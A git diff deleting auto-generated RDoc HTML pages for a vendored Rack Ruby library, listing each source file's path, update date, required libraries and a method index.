- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/auth/basic_rb.html b/vendor/plugins/rack/doc/files/lib/rack/auth/basic_rb.html deleted file mode 100644 index 0bc79bdb..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/auth/basic_rb.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - File: basic.rb - - - - - - - - - - -
-

basic.rb

- - - - - - - - - -
Path:lib/rack/auth/basic.rb -
Last Update:Mon Dec 31 19:31:13 +0100 2007
-
- - -
- - - -
- - -
-

Required files

- -
- rack/auth/abstract/handler   - rack/auth/abstract/request   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/auth/openid_rb.html b/vendor/plugins/rack/doc/files/lib/rack/auth/openid_rb.html deleted file mode 100644 index 3d062a98..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/auth/openid_rb.html +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - File: openid.rb - - - - - - - - - - -
-

openid.rb

- - - - - - - - - -
Path:lib/rack/auth/openid.rb -
Last Update:Tue Jan 06 12:35:41 +0100 2009
-
- - -
- - - -
- -
-

-AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net -

- -
- -
-

Required files

- -
- rack/auth/abstract/handler   - uri   - pp   - openid   - openid/extension   - openid/store/memory   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/builder_rb.html b/vendor/plugins/rack/doc/files/lib/rack/builder_rb.html deleted file mode 100644 index 98eef513..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/builder_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: builder.rb - - - - - - - - - - -
-

builder.rb

- - - - - - - - - -
Path:lib/rack/builder.rb -
Last Update:Fri Nov 28 15:54:54 +0100 2008
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/cascade_rb.html b/vendor/plugins/rack/doc/files/lib/rack/cascade_rb.html deleted file mode 100644 index a0d7a00e..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/cascade_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: cascade.rb - - - - - - - - - - -
-

cascade.rb

- - - - - - - - - -
Path:lib/rack/cascade.rb -
Last Update:Sun Aug 17 12:14:20 +0200 2008
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/commonlogger_rb.html b/vendor/plugins/rack/doc/files/lib/rack/commonlogger_rb.html deleted file mode 100644 index 540107e4..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/commonlogger_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: commonlogger.rb - - - - - - - - - - -
-

commonlogger.rb

- - - - - - - - - -
Path:lib/rack/commonlogger.rb -
Last Update:Sun Aug 17 12:15:19 +0200 2008
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/conditionalget_rb.html b/vendor/plugins/rack/doc/files/lib/rack/conditionalget_rb.html deleted file mode 100644 index dc31ab12..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/conditionalget_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: conditionalget.rb - - - - - - - - - - -
-

conditionalget.rb

- - - - - - - - - -
Path:lib/rack/conditionalget.rb -
Last Update:Tue Dec 30 12:19:30 +0100 2008
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/content_length_rb.html b/vendor/plugins/rack/doc/files/lib/rack/content_length_rb.html deleted file mode 100644 index 3ad44131..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/content_length_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: content_length.rb - - - - - - - - - - -
-

content_length.rb

- - - - - - - - - -
Path:lib/rack/content_length.rb -
Last Update:Tue Dec 30 12:19:30 +0100 2008
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/deflater_rb.html b/vendor/plugins/rack/doc/files/lib/rack/deflater_rb.html deleted file mode 100644 index 3ba03d0c..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/deflater_rb.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - File: deflater.rb - - - - - - - - - - -
-

deflater.rb

- - - - - - - - - -
Path:lib/rack/deflater.rb -
Last Update:Tue Dec 30 12:19:30 +0100 2008
-
- - -
- - - -
- - -
-

Required files

- -
- zlib   - stringio   - time   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/directory_rb.html b/vendor/plugins/rack/doc/files/lib/rack/directory_rb.html deleted file mode 100644 index c6ba161f..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/directory_rb.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - File: directory.rb - - - - - - - - - - -
-

directory.rb

- - - - - - - - - -
Path:lib/rack/directory.rb -
Last Update:Fri Jan 09 17:15:50 +0100 2009
-
- - -
- - - -
- - -
-

Required files

- -
- time   - rack/mime   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/file_rb.html b/vendor/plugins/rack/doc/files/lib/rack/file_rb.html deleted file mode 100644 index 9c39d345..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/file_rb.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - File: file.rb - - - - - - - - - - -
-

file.rb

- - - - - - - - - -
Path:lib/rack/file.rb -
Last Update:Fri Jan 09 17:16:39 +0100 2009
-
- - -
- - - -
- - -
-

Required files

- -
- time   - rack/mime   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/forward_rb.html b/vendor/plugins/rack/doc/files/lib/rack/forward_rb.html deleted file mode 100644 index 98ef9cfc..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/forward_rb.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - File: forward.rb - - - - - - - - - - -
-

forward.rb

- - - - - - - - - -
Path:lib/rack/forward.rb -
Last Update:Thu Dec 06 16:30:08 +0100 2007
-
- - -
- - - -
- - -
-

Required files

- -
- net/http   - rack   - rack/lobster   - rack/handler/mongrel   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/cgi_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/cgi_rb.html deleted file mode 100644 index 1df27d4b..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler/cgi_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: cgi.rb - - - - - - - - - - -
-

cgi.rb

- - - - - - - - - -
Path:lib/rack/handler/cgi.rb -
Last Update:Wed May 16 16:47:16 +0200 2007
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/evented_mongrel_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/evented_mongrel_rb.html deleted file mode 100644 index 1c55b508..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler/evented_mongrel_rb.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - File: evented_mongrel.rb - - - - - - - - - - -
-

evented_mongrel.rb

- - - - - - - - - -
Path:lib/rack/handler/evented_mongrel.rb -
Last Update:Sun Sep 07 22:14:00 +0200 2008
-
- - -
- - - -
- - -
-

Required files

- -
- swiftcore/evented_mongrel   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/fastcgi_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/fastcgi_rb.html deleted file mode 100644 index 9550d40e..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler/fastcgi_rb.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - File: fastcgi.rb - - - - - - - - - - -
-

fastcgi.rb

- - - - - - - - - -
Path:lib/rack/handler/fastcgi.rb -
Last Update:Fri Sep 05 21:33:18 +0200 2008
-
- - -
- - - -
- - -
-

Required files

- -
- fcgi   - socket   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/lsws_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/lsws_rb.html deleted file mode 100644 index addeb519..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler/lsws_rb.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - File: lsws.rb - - - - - - - - - - -
-

lsws.rb

- - - - - - - - - -
Path:lib/rack/handler/lsws.rb -
Last Update:Thu Jul 12 10:21:39 +0200 2007
-
- - -
- - - -
- - -
-

Required files

- -
- lsapi   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/mongrel_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/mongrel_rb.html deleted file mode 100644 index 185c71f3..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler/mongrel_rb.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - File: mongrel.rb - - - - - - - - - - -
-

mongrel.rb

- - - - - - - - - -
Path:lib/rack/handler/mongrel.rb -
Last Update:Fri Nov 28 15:44:32 +0100 2008
-
- - -
- - - -
- - -
-

Required files

- -
- mongrel   - stringio   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/scgi_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/scgi_rb.html deleted file mode 100644 index 8b274d68..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler/scgi_rb.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - File: scgi.rb - - - - - - - - - - -
-

scgi.rb

- - - - - - - - - -
Path:lib/rack/handler/scgi.rb -
Last Update:Fri Jan 25 09:35:38 +0100 2008
-
- - -
- - - -
- - -
-

Required files

- -
- scgi   - stringio   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/swiftiplied_mongrel_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/swiftiplied_mongrel_rb.html deleted file mode 100644 index 8e0daa8f..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler/swiftiplied_mongrel_rb.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - File: swiftiplied_mongrel.rb - - - - - - - - - - -
-

swiftiplied_mongrel.rb

- - - - - - - - - -
Path:lib/rack/handler/swiftiplied_mongrel.rb -
Last Update:Sun Sep 07 22:14:00 +0200 2008
-
- - -
- - - -
- - -
-

Required files

- -
- swiftcore/swiftiplied_mongrel   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/thin_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/thin_rb.html deleted file mode 100644 index a0b7ecb6..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler/thin_rb.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - File: thin.rb - - - - - - - - - - -
-

thin.rb

- - - - - - - - - -
Path:lib/rack/handler/thin.rb -
Last Update:Fri Dec 19 15:22:03 +0100 2008
-
- - -
- - - -
- - -
-

Required files

- -
- thin   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/webrick_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/webrick_rb.html deleted file mode 100644 index aa846949..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler/webrick_rb.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - File: webrick.rb - - - - - - - - - - -
-

webrick.rb

- - - - - - - - - -
Path:lib/rack/handler/webrick.rb -
Last Update:Mon Jan 05 13:11:08 +0100 2009
-
- - -
- - - -
- - -
-

Required files

- -
- webrick   - stringio   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler_rb.html deleted file mode 100644 index 00904c2d..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/handler_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: handler.rb - - - - - - - - - - -
-

handler.rb

- - - - - - - - - -
Path:lib/rack/handler.rb -
Last Update:Fri Dec 19 15:22:03 +0100 2008
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/head_rb.html b/vendor/plugins/rack/doc/files/lib/rack/head_rb.html deleted file mode 100644 index 35a58609..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/head_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: head.rb - - - - - - - - - - -
-

head.rb

- - - - - - - - - -
Path:lib/rack/head.rb -
Last Update:Sun Oct 19 22:52:37 +0200 2008
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/lint_rb.html b/vendor/plugins/rack/doc/files/lib/rack/lint_rb.html deleted file mode 100644 index 703a8c26..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/lint_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: lint.rb - - - - - - - - - - -
-

lint.rb

- - - - - - - - - -
Path:lib/rack/lint.rb -
Last Update:Mon Jan 05 15:05:25 +0100 2009
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/lobster_rb.html b/vendor/plugins/rack/doc/files/lib/rack/lobster_rb.html deleted file mode 100644 index 9af61489..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/lobster_rb.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - File: lobster.rb - - - - - - - - - - -
-

lobster.rb

- - - - - - - - - -
Path:lib/rack/lobster.rb -
Last Update:Fri Sep 05 21:33:18 +0200 2008
-
- - -
- - - -
- - -
-

Required files

- -
- zlib   - rack/request   - rack/response   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/methodoverride_rb.html b/vendor/plugins/rack/doc/files/lib/rack/methodoverride_rb.html deleted file mode 100644 index 2e4ce70e..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/methodoverride_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: methodoverride.rb - - - - - - - - - - -
-

methodoverride.rb

- - - - - - - - - -
Path:lib/rack/methodoverride.rb -
Last Update:Tue Jan 06 12:35:41 +0100 2009
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/mime_rb.html b/vendor/plugins/rack/doc/files/lib/rack/mime_rb.html deleted file mode 100644 index 1218f563..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/mime_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: mime.rb - - - - - - - - - - -
-

mime.rb

- - - - - - - - - -
Path:lib/rack/mime.rb -
Last Update:Sun Sep 07 17:49:32 +0200 2008
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/mock_rb.html b/vendor/plugins/rack/doc/files/lib/rack/mock_rb.html deleted file mode 100644 index abd8616c..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/mock_rb.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - File: mock.rb - - - - - - - - - - -
-

mock.rb

- - - - - - - - - -
Path:lib/rack/mock.rb -
Last Update:Mon Jan 05 15:07:17 +0100 2009
-
- - -
- - - -
- - -
-

Required files

- -
- uri   - stringio   - rack/lint   - rack/utils   - rack/response   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/recursive_rb.html b/vendor/plugins/rack/doc/files/lib/rack/recursive_rb.html deleted file mode 100644 index a68136b5..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/recursive_rb.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - File: recursive.rb - - - - - - - - - - -
-

recursive.rb

- - - - - - - - - -
Path:lib/rack/recursive.rb -
Last Update:Wed May 16 16:48:45 +0200 2007
-
- - -
- - - -
- - -
-

Required files

- -
- uri   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/reloader_rb.html b/vendor/plugins/rack/doc/files/lib/rack/reloader_rb.html deleted file mode 100644 index f2fbd813..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/reloader_rb.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - File: reloader.rb - - - - - - - - - - -
-

reloader.rb

- - - - - - - - - -
Path:lib/rack/reloader.rb -
Last Update:Sun Jul 06 14:18:29 +0200 2008
-
- - -
- - - -
- - -
-

Required files

- -
- thread   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/request_rb.html b/vendor/plugins/rack/doc/files/lib/rack/request_rb.html deleted file mode 100644 index aa0af309..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/request_rb.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - File: request.rb - - - - - - - - - - -
-

request.rb

- - - - - - - - - -
Path:lib/rack/request.rb -
Last Update:Fri Jan 09 17:26:45 +0100 2009
-
- - -
- - - -
- - -
-

Required files

- -
- rack/utils   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/response_rb.html b/vendor/plugins/rack/doc/files/lib/rack/response_rb.html deleted file mode 100644 index 1bb3e42f..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/response_rb.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - File: response.rb - - - - - - - - - - -
-

response.rb

- - - - - - - - - -
Path:lib/rack/response.rb -
Last Update:Wed Sep 10 18:56:32 +0200 2008
-
- - -
- - - -
- - -
-

Required files

- -
- rack/request   - rack/utils   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/session/cookie_rb.html b/vendor/plugins/rack/doc/files/lib/rack/session/cookie_rb.html deleted file mode 100644 index 957c5d79..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/session/cookie_rb.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - File: cookie.rb - - - - - - - - - - -
-

cookie.rb

- - - - - - - - - -
Path:lib/rack/session/cookie.rb -
Last Update:Tue Sep 30 19:18:09 +0200 2008
-
- - -
- - - -
- - -
-

Required files

- -
- openssl   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/session/memcache_rb.html b/vendor/plugins/rack/doc/files/lib/rack/session/memcache_rb.html deleted file mode 100644 index e6d7792a..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/session/memcache_rb.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - File: memcache.rb - - - - - - - - - - -
-

memcache.rb

- - - - - - - - - -
Path:lib/rack/session/memcache.rb -
Last Update:Fri Nov 28 16:01:13 +0100 2008
-
- - -
- - - -
- -
-

-AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net -

- -
- -
-

Required files

- -
- rack/session/abstract/id   - memcache   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/session/pool_rb.html b/vendor/plugins/rack/doc/files/lib/rack/session/pool_rb.html deleted file mode 100644 index 2c7a2358..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/session/pool_rb.html +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - File: pool.rb - - - - - - - - - - -
-

pool.rb

- - - - - - - - - -
Path:lib/rack/session/pool.rb -
Last Update:Fri Nov 28 16:01:13 +0100 2008
-
- - -
- - - -
- -
-

-AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net -THANKS: -

-
-  apeiros, for session id generation, expiry setup, and threadiness
-  sergio, threadiness and bugreps
-
- -
- -
-

Required files

- -
- rack/session/abstract/id   - thread   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/showexceptions_rb.html b/vendor/plugins/rack/doc/files/lib/rack/showexceptions_rb.html deleted file mode 100644 index 360a4bb4..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/showexceptions_rb.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - File: showexceptions.rb - - - - - - - - - - -
-

showexceptions.rb

- - - - - - - - - -
Path:lib/rack/showexceptions.rb -
Last Update:Fri Sep 05 21:33:18 +0200 2008
-
- - -
- - - -
- - -
-

Required files

- -
- ostruct   - erb   - rack/request   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/showstatus_rb.html b/vendor/plugins/rack/doc/files/lib/rack/showstatus_rb.html deleted file mode 100644 index 1b2327ee..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/showstatus_rb.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - File: showstatus.rb - - - - - - - - - - -
-

showstatus.rb

- - - - - - - - - -
Path:lib/rack/showstatus.rb -
Last Update:Tue Dec 30 12:19:30 +0100 2008
-
- - -
- - - -
- - -
-

Required files

- -
- erb   - rack/request   - rack/utils   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/static_rb.html b/vendor/plugins/rack/doc/files/lib/rack/static_rb.html deleted file mode 100644 index fa4cd3df..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/static_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: static.rb - - - - - - - - - - -
-

static.rb

- - - - - - - - - -
Path:lib/rack/static.rb -
Last Update:Sun Mar 11 14:56:56 +0100 2007
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/urlmap_rb.html b/vendor/plugins/rack/doc/files/lib/rack/urlmap_rb.html deleted file mode 100644 index 5d1e7917..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/urlmap_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: urlmap.rb - - - - - - - - - - -
-

urlmap.rb

- - - - - - - - - -
Path:lib/rack/urlmap.rb -
Last Update:Mon Jan 05 14:38:16 +0100 2009
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/utils_rb.html b/vendor/plugins/rack/doc/files/lib/rack/utils_rb.html deleted file mode 100644 index c8cb4745..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/utils_rb.html +++ /dev/null @@ -1,109 +0,0 @@ - - - - - - File: utils.rb - - - - - - - - - - -
-

utils.rb

- - - - - - - - - -
Path:lib/rack/utils.rb -
Last Update:Tue Dec 30 12:19:30 +0100 2008
-
- - -
- - - -
- - -
-

Required files

- -
- set   - tempfile   -
-
- -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack_rb.html b/vendor/plugins/rack/doc/files/lib/rack_rb.html deleted file mode 100644 index 559c00c6..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack_rb.html +++ /dev/null @@ -1,113 +0,0 @@ - - - - - - File: rack.rb - - - - - - - - - - -
-

rack.rb

- - - - - - - - - -
Path:lib/rack.rb -
Last Update:Fri Jan 09 17:26:45 +0100 2009
-
- - -
- - - -
- -
-

-Copyright (C) 2007, 2008, 2009 Christian Neukirchen -<purl.org/net/chneukirchen> -

-

-Rack is freely distributable under -the terms of an MIT-style license. See COPYING or www.opensource.org/licenses/mit-license.php. -

- -
- - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/fr_class_index.html b/vendor/plugins/rack/doc/fr_class_index.html deleted file mode 100644 index 217f34ee..00000000 --- a/vendor/plugins/rack/doc/fr_class_index.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - Classes - - - - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/fr_file_index.html b/vendor/plugins/rack/doc/fr_file_index.html deleted file mode 100644 index ddb3e36e..00000000 --- a/vendor/plugins/rack/doc/fr_file_index.html +++ /dev/null @@ -1,71 +0,0 @@ - - - - - - - - Files - - - - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/fr_method_index.html b/vendor/plugins/rack/doc/fr_method_index.html deleted file mode 100644 index ff785192..00000000 --- a/vendor/plugins/rack/doc/fr_method_index.html +++ /dev/null @@ -1,236 +0,0 @@ - - - - - - - - Methods - - - - - -
-

Methods

-
- << (Rack::CommonLogger)
- << (Rack::Cascade)
- =~ (Rack::MockResponse)
- GET (Rack::Request)
- POST (Rack::Request)
- [] (Rack::MockResponse)
- [] (Rack::Request)
- [] (Rack::Utils::HeaderHash)
- [] (Rack::Response)
- []= (Rack::Utils::HeaderHash)
- []= (Rack::Response)
- []= (Rack::Request)
- _call (Rack::CommonLogger)
- _call (Rack::File)
- _call (Rack::Directory)
- accept_encoding (Rack::Request)
- add (Rack::Cascade)
- add_extension (Rack::Auth::OpenID)
- app (Rack::Builder)
- basic? (Rack::Auth::Basic::Request)
- body (Rack::Request)
- build_query (Rack::Utils)
- call (Rack::ShowStatus)
- call (Rack::ConditionalGet)
- call (Rack::CommonLogger)
- call (Rack::Auth::Basic)
- call (Rack::Head)
- call (Rack::Session::Cookie)
- call (Rack::ContentLength)
- call (Rack::Forwarder)
- call (Rack::ShowExceptions)
- call (Rack::Cascade)
- call (Rack::Auth::OpenID)
- call (Rack::URLMap)
- call (Rack::Adapter::Camping)
- call (Rack)
- call (Rack::Directory)
- call (Rack::Builder)
- call (Rack::Deflater)
- call (Rack::Recursive)
- call (Rack::Static)
- call (Rack::File)
- call (Rack::Reloader)
- call (Rack::MethodOverride)
- call (L2)
- check (Rack::Auth::OpenID)
- check_forbidden (Rack::Directory)
- client_error? (Rack::Response::Helpers)
- close (Rack::CommonLogger)
- close (Rack::Response)
- content_charset (Rack::Request)
- content_length (Rack::Request)
- content_length (Rack::Response::Helpers)
- content_type (Rack::Response::Helpers)
- content_type (Rack::Request)
- context (Rack::Utils::Context)
- cookies (Rack::Request)
- credentials (Rack::Auth::Basic::Request)
- deflate (Rack::Deflater)
- delete (Rack::MockRequest)
- delete (Rack::Utils::HeaderHash)
- delete? (Rack::Request)
- delete_cookie (Rack::Response)
- each (Rack::Response)
- each (Rack::CommonLogger)
- each (Rack::Directory)
- each (Rack::File)
- empty? (Rack::Response::Helpers)
- empty? (Rack::Response)
- entity_not_found (Rack::Directory)
- env_for (Rack::MockRequest)
- escape (Rack::Utils)
- escape_html (Rack::Utils)
- extension_namespaces (Rack::Auth::OpenID)
- filesize_format (Rack::Directory)
- finish (Rack::Auth::OpenID)
- finish (Rack::Response)
- flush (Rack::MockRequest::FatalWarner)
- forbidden (Rack::File)
- forbidden? (Rack::Response::Helpers)
- form_data? (Rack::Request)
- fullpath (Rack::Request)
- get (Rack::MockRequest)
- get (Rack::Handler)
- get? (Rack::Request)
- gzip (Rack::Deflater)
- has_key? (Rack::Utils::HeaderHash)
- head? (Rack::Request)
- host (Rack::Request)
- include (Rack::Recursive)
- include? (Rack::Cascade)
- include? (Rack::Response::Helpers)
- include? (Rack::Utils::HeaderHash)
- informational? (Rack::Response::Helpers)
- inspect (Rack::Utils::Context)
- invalid? (Rack::Response::Helpers)
- ip (Rack::Request)
- key? (Rack::Utils::HeaderHash)
- list_directory (Rack::Directory)
- list_path (Rack::Directory)
- location (Rack::Response::Helpers)
- map (Rack::Builder)
- match (Rack::MockResponse)
- media_type (Rack::Request)
- media_type_params (Rack::Request)
- member? (Rack::Utils::HeaderHash)
- merge (Rack::Utils::HeaderHash)
- merge! (Rack::Utils::HeaderHash)
- mime_type (Rack::Mime)
